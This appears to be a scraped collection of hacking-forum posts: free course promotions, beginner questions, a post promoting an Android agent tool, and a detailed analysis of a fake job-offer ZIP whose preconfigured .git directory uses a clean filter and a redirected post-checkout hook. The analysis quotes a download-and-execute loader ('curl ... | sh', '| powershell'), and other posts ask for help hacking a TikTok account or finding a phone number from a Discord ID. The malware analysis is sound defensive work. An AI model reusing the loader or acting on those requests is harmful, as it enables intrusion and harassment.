I've just published a new Web Fundamentals learning path on Codelivly.

The idea is pretty simple: learn the basics of how the web actually works, not just read through theory and move on.

I'm trying to make it more practical, so the path includes hands-on learning and lab practice alongside the lessons.

It's completely free. No subscription or paywall.

If you're new to web technologies or want to strengthen your fundamentals before getting into web security, feel free to check it out.

https://codelivly.com/learning-paths/web-fundamentals

Would genuinely appreciate feedback on the content and anything that could make the learning experience better.

Compiled and ran John the Ripper on Android using Termux without root. Here's the full step-by-step guide:

github.com/Mireli5656/termux-john-guide

I built GURU. The open source ultimate hacker tool ANYBODY can use.

GURU ships a full Linux machine inside the android app, so the phone stops being a client and becomes the computer. BusyBox and Toybox give you the standard Unix utilities, a full Termux prefix gives you bash with apt and dpkg, and CPython 3.14 arrives with numpy and Pillow already importable. Git clones, fetches and pushes over HTTPS. ffmpeg converts and inspects any media. sqlite3 opens databases, OpenSSL does the crypto, OpenSSH gives you scp, and jq, rsync, tmux and Tesseract are all sitting there. A trimmed OpenJDK 21 runs java, javac, jar, jarsigner and keytool.

Android normally refuses to execute a binary out of app storage, because those folders are mounted non-executable and pages cannot be writable and executable at once. GURU solves it with a small library it loads ahead of the target program, which rewrites the paths the program asks for at the moment libc asks for them. An unmodified Linux binary expecting the Termux prefix finds its files inside GURU's own storage and runs as though nothing were strange. That is what turns a bundle of tools into a working computer.

Because of that, the 390 (and growing) registered tools are a starting inventory rather than a boundary. Anything they do not cover is a script, and the script has a real interpreter, real libraries and real binaries behind it. A file format nobody wrote a parser for is a Python script using struct and zipfile. A media conversion is one ffmpeg call. A protocol with no adapter is a client you write in the same conversation.

Android reverse-engineering lab, no desktop in the loop

GURU lists every package on the device and filters by system or user or name. It inspects a package's version, permissions, activities, services, receivers and providers. It pulls any installed app's APK straight off the phone, lists everything inside it without extracting, unpacks the whole archive, decodes the binary manifest with a bundled aapt2, pulls out the classes.dex, extracts the native libraries for a chosen CPU architecture and lifts out the layouts, drawables, strings and assets. Then it decompiles the entire thing to readable source through jadx, apktool or dex2jar.

And it puts it back together. It repacks a modified tree into a working APK, and signs the result with a signer written by hand inside the app rather than borrowed from a toolchain. That signer generates its own X.509 certificate, builds a PKCS12 keystore and signs with SHA256withRSA, producing an APK that actually installs on a phone. People keep a laptop and four separate downloads for that job. Here it is in a conversation.

Network

GURU sweeps every port rather than a curated shortlist. It identifies what answered by reading the device's own HTTP responses, its TLS certificate, its DIAL description and its UPnP device document, so it can tell you what a thing is rather than that a port was open. It asks the network by mDNS and SSDP with the multicast lock properly held. It reads the ARP table where the platform allows it.

It speaks SNMP through a codec written by hand, encoding and decoding BER with no library, which means it reaches printers, switches, cameras, NAS boxes and industrial equipment that will never have a phone app.

Also: Wake-on-LAN, UPnP and SOAP, DIAL for casting and app launch, and a shell-level recon layer at shell UID for reads the ordinary app domain is denied. Every probe is bound out of the wifi interface.

Driving screens

Android TV Remote speaks its own protobuf, so a Sony, a Philips or a Shield moves with no emitter and no app. Roku answers on its control port with no pairing at all. Samsung wants a websocket on 8001 and a token handshake. LG webOS wants webOS on 3000 and a client-key handshake. Fire TV has its own path. Xbox SmartGlass is built all the way down to the elliptic-curve key exchange and the AES-CBC encrypted channel, with the four-stage handshake, participant id, local join acknowledgement and message signing all implemented, and each stage able to report exactly which one refused. Infrared sits underneath all of it through a Broadlink blaster or the phone's own emitter.

Inside Android

GURU writes to system and secure settings, sets the clock, draws overlays, expands the status bar, sets the wallpaper, raises biometric prompts, reads logcat, dumps system state, force-stops apps, clears caches, starts any activity inside any package, and can request or perform installs and uninstalls.

It owns the phone as a phone: places, answers and ends calls, registers a SIP account, reads and sends texts, watches them arrive in real time, reads cell broadcasts and WAP pushes, searches contacts, manages accounts, reads and writes your calendar.

It sees the screen through two independent senses, and the independence is the entire point. The accessibility tree gives it structure, so it knows the button is called Send. The pixels give it appearance, so it knows that button is greyed out. Either one alone produces confident nonsense, and having both means a tap can be aimed and then confirmed.

It hears and speaks (offline Vosk transcription, TTS, audio routing), and drives the camera, NFC, Bluetooth, wifi, VPN state and IPSec tunnels, usage stats, notifications, do-not-disturb and alarms.

Dev workflow from the handset

Over forty GitHub tools cover login through the device-code flow, repos, branches, commits, pull requests, issues, releases, release assets and workflow runs, plus raw API access for anything else. Locally the git tools clone, pull, fetch, check out, branch, add, commit, push, diff, log and status, so the phone can be the workstation. SSH sessions, intents and broadcasts, a real WebView it can drive and read console and network logs from, full file handling, direct SQL against on-device databases and content providers.

Service credentials are kept in per-service AES-256 keys sealed inside the Android Keystore.

Memory

The brain is a Rust engine running inside the app, sealed in an encrypted vault with Argon2id key derivation and XChaCha20-Poly1305, with keys that exist only in memory and are zeroised when dropped. It has a layered lifecycle with real decay, a consolidation pass that merges and prunes, typed graph edges (alike, preceded, caused, contradicts), and retrieval that fuses a lexical index with a binary signature lane by rank rather than by a threshold. It snapshots itself, verifies the snapshot and restores it, so the whole mind can move between devices intact.

It grows at runtime

GURU writes a new tool and registers it permanently, inspects, updates, approves, disables and deletes tools. It creates hooks, scheduled jobs that survive reboot through WorkManager and switch themselves off when something is genuinely broken, thought cycles that produce insights, automations, and whole rooms in its own lobby. It spawns sub-agents with explicit tool sets and installs agents and skills from a catalogue. Eighteen theming tools restyle every surface.

It also posts to X, Discord, Slack, WhatsApp, email, Trello and Notion, and does weather, places, RSS, URL shortening and QR codes.

It takes a job that has no trigger and gives the intelligence the ability to write one.

GitHub: https://github.com/GuruProduction/GURUbyUnusLumen

This assignment is worth 20 marks and I freaking forgot, hackers of reddit help me out😭😭😭😭

Weekly forum post: Let's discuss current projects, concepts, questions and collaborations. In other words, what are you hacking this week?

I'm particularly interested in learning car hacking and automotive cybersecurity. I want to understand how to remotely access and explore the different systems and features of a car using my computer or phone, and learn what the vehicle is actually capable of from a cybersecurity perspective.

I'm completely new to hacking, though, and haven't been able to find any beginner-friendly video tutorials that explain the process step by step.

If anyone experienced in automotive hacking could guide me, recommend some YouTube channels, or share tutorials, I'd really appreciate it.

Let say you have full admin access on a old raspberry pi 3 B with 1go of ram, you got access via ssh while using an other pc on the network. It is in a university so you can’t access ssh when you are home for example but it still have access to internet. Placing a C2 to use ssh by port 443 seems possible but you don’t know what to do after that (what to use it for…). What do you do ?

Can someone get a person’s phone number through their discord id?

Is it possible to use it in Termux to use Kali Linux or something like that... without root it's complicated?

Hello, I’ve recently started learning software development and am considering studying cybersecurity. Do you know of any applications or programs used for hacking? I used to use Dolphy, but I think it’s time to move on to something more advanced—could you give me a hand with this?

can anyone suggest me any site which provide disposable Gmail account. I just needed it to access some ai related work. I used emailnator but it's inbox is not working

Recently, a recruiter from Cryptic Heaven contacted me on LinkedIn with an offer to work together. The company supposedly develops a financial system for users of cryptocurrency credit cards. The offer looked quite ordinary: they liked my experience and wanted to discuss possible cooperation.

I replied that I was interested in learning more about the project, the position, and the working conditions.

In response, I received the following message:

We have prepared contract document, job description and project for you here: https:// Fake Site URL /contract

If you agree, send me contract document after filling with your name.

That is, I was being asked to download the documents, look through the project, and fill in the contract.

The link led to a ZIP archive, Contract-2026.zip. I downloaded it and decided to take a look. As it turned out, it contained not only documents and source code, but also a rather interesting trap that uses standard Git features.

And the trap does not require launching some suspicious install.sh, installing dependencies, or building the project. In certain conditions, ordinary git status is enough, and a development environment can run it automatically.

Let me explain how it works.

What was inside the archive

The archive contained README.md, contract.docx, and a full .git directory with the repository history, several branches, and local settings.

The README said that the documents were split across three branches:

• doc - cooperation agreement.

• job - job description.

• codebase - the project's source code.

The suggestion was to first read the job description, then study the agreement, and after that look at the code.

At first glance, everything seemed quite logical. A developer had been sent a repository where they could look at the project and its documentation.

The agreement itself, though, turned out to be a template with blank fields. It did not specify the legal entity, the amount of pay, the jurisdiction, or many other terms. The Smart Contract Developer job description also had many blank fields.

But there was something more interesting.

The ZIP contained a .git directory, and it had been specially configured.

Usually, a developer gets a link to GitHub or GitLab and runs git clone. Here, they sent me the entire repository in a ZIP, including the internal .git directory.

And this turned out to be crucial.

A little about how Git works

Most developers think of Git as a tool for storing the history of changes and creating branches and commits.

But Git has mechanisms that allow it to run external programs.

The first mechanism is Git Hooks.

These are scripts that Git calls in response to certain events. For example, before a commit, after switching branches, or before sending changes to a server.

The second mechanism is Git Filters.

They allow the contents of files to be transformed when data is moved between the working directory and Git's internal storage.

Both mechanisms are entirely legitimate. They are used to automate development, format files, and perform various checks.

The problem arises when an attacker preconfigures them in a repository you are about to open on your computer.

The first part of the attack - redirecting the location of Git Hooks

I looked into .git/config.

The following setting was there:

[core]
    hooksPath = .git/objects/interrupt/

By default, Git looks for hooks in the .git/hooks directory.

But the core.hooksPath parameter lets you specify a different directory.

In this case, the hooks were moved to:

.git/objects/interrupt/

Why put them there?

Because most developers will not dig into the contents of .git/objects. Usually, it contains Git's internal objects, and nobody works with them manually.

There was a post-checkout file inside this directory.

Its contents:

#!/bin/sh
#
git status

Just one command.

The post-checkout hook runs automatically after switching branches with git checkout or git switch.

That is, when running the command:

git checkout job

Git will first switch branches, and then run this script.

Why did the malicious actor need git status? The answer is in the second part of the attack.

The second part - Git Filters

The following setting was found in the same .git/config:

[filter "ltr"]
    clean = .git/ltr

This defines a custom filter named ltr.

The clean parameter specifies the command used to transform a file's contents from the working directory into the representation stored in Git.

Usually, this mechanism is used, for example, to normalize file contents before saving.

But Git still needs to know which files to apply this filter to.

For this, .gitattributes or the local .git/info/attributes file is used.

The archive I received contained:

.git/info/attributes

With the following contents:

* filter=ltr

The asterisk means that the filter is assigned to all matching files.

So, during certain operations, Git will run .git/ltr, passing it the file contents through standard input and expecting to receive the processed data through standard output.

And here an interesting detail appears.

The git status command is not always limited to simply reading file names and the current branch. To determine whether file contents have changed, Git may pass the data through the configured clean filter.

Thus, an entirely ordinary git status can run a third-party program.

I separately checked this in a safe test repository, replacing the filter with a harmless script that only records the fact of its invocation in a log. As a result, git status really did invoke the filter, and switching branches additionally invoked post-checkout.

Now it is clear why the attacker put an instruction in the README to switch between branches.

Part Three - The Malicious Script Itself

All that remained was to look at the contents of .git/ltr.

The file is a shell script that, at first glance, looks a little more complicated than one might expect.

At the beginning, two service files are defined:

FLAG_FILE=".git/.clean_filter_last"
WATCH_LOCK=".git/.clean_filter_watch.lock"

The first file records the time of the last call to the filter. The second is used as a lock.

The thing is, Git can call the clean filter several times in a row - for different files.

If malicious code were downloaded and launched immediately on every call, we would end up with many parallel launches.

The script authors solved this problem.

Each time the filter is called, the timestamp is updated. A background process checks how much time has passed since the last call. Until two seconds have passed, it keeps waiting.

NOW=$(date +%s)

if [ $((NOW - LAST)) -lt 2 ]; then
    sleep 1
    continue
fi

This is a kind of debounce: wait until the series of calls to the filter is over, and only then perform the main action.

To prevent several watchers from being launched at the same time, a lock directory is created using mkdir.

After the wait, the most interesting part runs:

case "$OSTYPE" in
darwin*|linux*)
    curl -fsSL "https:// <remote-server> / <script>" | sh
    ;;
msys*|cygwin*)
    curl.exe -fsSL "https:// <remote-server> / <script>" | powershell
    ;;
*)
    curl -fsSL "https:// <remote-server> / <script>" | sh
    ;;
esac

This is a shortened version of the actual code from the archive. I replaced the download address with a placeholder.

The meaning is simple.

The script tries to determine the operating system, download additional code from a remote server, and execute it immediately.

For Linux and macOS, it is set up to run through sh, and for Windows through PowerShell.

Interesting, the attacker uses the OSTYPE variable, which is not guaranteed by the POSIX sh standard. Therefore, OS detection may not work as intended in every shell. But a default branch is also provided.

The remote server in the archive was located on the Vercel subdomain.

It is impossible to determine what exactly the downloaded script does from the ZIP contents alone. It could be a loader for the next stage of the attack, data theft, or some other malicious action.

But the very fact that remote code is secretly downloaded and executed already says enough.

And everything runs in the background, while standard output and errors are redirected to /dev/null.

That means the user may not notice anything at all.

Why the filter does not break Git

At the end of .git/ltr, there is a command:

cat

This is also an important detail.

Git expects the clean filter to read data from standard input and return the transformed content to standard output.

But the attacker does not need to transform anything.

So the script simply returns the data it received unchanged.

To Git, this filter looks like it is working: the data came in, was processed, and came back.

At the same time, a background process was started that is supposed to download and execute remote code.

This means the malicious operation itself does not require any noticeable changes to the project's files.

The most interesting part - how the attack can work without user involvement

Let's imagine an ordinary scenario.

You download a ZIP, unpack it, and see README.md.

If you simply open the folder in Windows File Explorer, Git does not start automatically. Simply unpacking the archive also does not trigger Git Hooks or Git Filters.

But the interesting scenarios begin after that.

The first option - VS Code.

Suppose your Markdown files are associated with Visual Studio Code. You double-click README to read the instructions.

VS Code can automatically detect Git repositories. If repository detection for open files is enabled, it can find .git in the parent folder.

After detecting the repository, the Git extension may run git status to show the current changes.

If the repository is trusted and Git really performs this check, an opportunity appears to run the malicious filter.

This gives us the following chain:

Opening README.md
        |
        v
VS Code starts
        |
        v
A Git repository is detected
        |
        v
VS Code runs git status
        |
        v
Git uses the clean filter
        |
        v
.git/ltr is launched
        |
        v
A remote script is downloaded and executed

An important caveat: simply opening the README in VS Code does not guarantee that the attack will run. This depends on the editor settings, trust in the workspace, automatic repository detection, and the specific Git operations.

But this scenario is quite realistic.

Second option - terminal.

Many developers use a Git-aware command-line prompt.

For example, after changing to a directory, the terminal shows:

~/projects/cryptic-heaven (doc) $

To display the branch name, some terminal themes use git symbolic-ref, git rev-parse, or similar commands.

By themselves, they should not run the clean filter.

But other configurations additionally check the state of the working directory through git status.

And in this case, a simple move into a directory:

cd cryptic-heaven

may indirectly lead to a malicious script being executed.

Not because the cd command runs Git, but because the terminal automatically updates its prompt after the directory changes.

The third option - following the instructions in the README.

This is the most obvious scenario.

The user reads that the documents are located on different branches and runs:

git checkout job

As a result, Git may call the filter while processing files, and after switching branches it will additionally run post-checkout.

That, in turn, will run git status.

So the archive's authors provided several ways for the trap to trigger.

How does all this work on Windows if the script is written for Bash?

At first glance, it may seem that Windows is protected against this kind of attack, since .git/ltr begins with:

#!/bin/sh

But there is a nuance.

Git for Windows comes with a Unix-like environment and includes sh.exe and Bash.

That is why Git can run shell scripts even when the user is working in PowerShell or CMD.

You do not need to open Git Bash yourself.

If Git calls a script with the corresponding interpreter, it can run through the shell supplied with Git.

And the script itself already has a separate option for Windows - downloading the contents through curl.exe and passing them to PowerShell.

So the attack was designed from the start to target more than just Linux.

Why did they send a ZIP instead of a link to GitHub?

In my view, this is one of the main features of the attack.

When we run an ordinary git clone, Git gets the history, branches, and file contents from the remote repository.

But the remote repository's local .git/config is not copied in the process.

Local Git Hooks are not transferred by an ordinary clone as ready-to-run hooks either.

Here, the attacker sent a ZIP that already contained a fully prepared .git directory.

It contained:

.git/config
.git/info/attributes
.git/ltr
.git/objects/interrupt/post-checkout

After unpacking it, the user got a ready-to-use local Git repository with all the malicious settings.

And Git could start using them at the first suitable opportunity.

That is, the ZIP here is needed not simply for the convenience of transferring documents. It lets the sender pass along exactly the local Git configuration required for the trap to work.

What it comes down to

The result is a rather interesting attack scheme.

The attacker does not ask you to run some unknown EXE file. Does not suggest disabling antivirus. Does not ask you to install an unknown package.

Instead, they send an ordinary-looking project that uses standard Git mechanisms.

A file filter is configured in one place. The path to hooks is changed in another. A shell script is stored in a third. The README tells you to switch between branches.

Each element on its own can look relatively harmless. But together, they form a chain for hidden code execution.

And what is especially unpleasant is that the launch can happen as a result of actions that a developer does not perceive at all as running someone else's program.

So I would formulate several rules for working with unfamiliar projects.

1. If an unfamiliar person sends you a ZIP with a ready-made .git directory, it is worth being cautious. Especially if it is not clear why you cannot use ordinary git clone.

2. Do not open suspicious repositories in an IDE until their Git settings have been checked. An IDE can run Git commands automatically.

3. When analyzing such an archive, it makes sense to separately check .git/config, .git/info/attributes, reconfigured Git Hooks, and filter commands. It is better to do this with an archive viewer or in an isolated environment, without running Git commands inside the repository.

4. If the archive has already been opened and the filter may have run, check the system and assess whether secrets and tokens need to be replaced, using a trusted device.

I want to emphasize separately that the presence of a downloader does not prove that the computer was successfully infected. To establish that, it is necessary to determine whether the filter actually ran and what code was received from the remote server.

But there is practically no doubt about the purpose of the setup we found: it is intended to secretly launch remote code on a developer's computer.

I liked the technical side of this attack. Not because it does anything fundamentally new, but because of how familiar tools were used here.

We are used to thinking that git status is a safe command that simply shows the state of the repository. It turns out that when working with an untrusted local Git configuration, even such a familiar action can launch third-party programs.

And this, perhaps, is the main takeaway from the whole story.

I doubt ebay and Amazon trying to get one and just recently seen in comments that some are not working. Can I get one that's available that still works or any working alternative?

I am a complete beginner and find what I am trying to learn quite intimidating.
Where do I start to begin learning about gadgets that interact with physical objects and electronics like remotes, sensors, locks, lights, etc? Also how do I learn what all the names and numbers mean for these components and sorts. It's just all very overwhelming and confusing to me.

I'm trying to follow some basic pentesting tutorials but keep getting stuck because I don't really understand what the tools are showing me. I know the very basics like IP addresses and ports, but anything beyond that (subnets, protocols, packet structure) feels like a huge time sink.

At the same time, I don't want to spend weeks on theory only to still feel lost when I open a tool. For people who are past the beginner stage, how much networking did you actually need to know before the practical stuff started making sense? Did you learn it alongside the tools or get comfortable with it first?

Hey everyone!

If you're interested in becoming a Junior Penetration Tester, I've put together a learning path on Codelivly to help you get started and build your skills step by step.

It includes cybersecurity learning resources, practical labs, hands-on exercises, and CTF challenges to help you apply what you learn instead of just reading theory.

Whether you're a complete beginner or already know some basics, feel free to check it out.

100% free. No paywall.

👉 https://codelivly.com/career-paths/junior-penetration-tester

Give it a try and let me know what you think. Always happy to hear feedback!

I've been following a few beginner tutorials and keep running into the same issue: they assume you're already comfortable navigating the terminal, writing basic scripts, and understanding file permissions. Every time I get stuck on a command, I end up spending hours on side research just to continue the lesson.

At the same time, I don't want to spend months only on Linux without making progress on actual security concepts. For those further along, how did you balance learning the OS fundamentals with starting things like web app testing or network enumeration? Did you reach a point where the terminal stuff started making sense through practice, or was there a specific resource that helped it click faster?

I want to learn or have someone perform the work of hacking a TikTok account that is uploading slander and defamation against my company. I urgently need to know...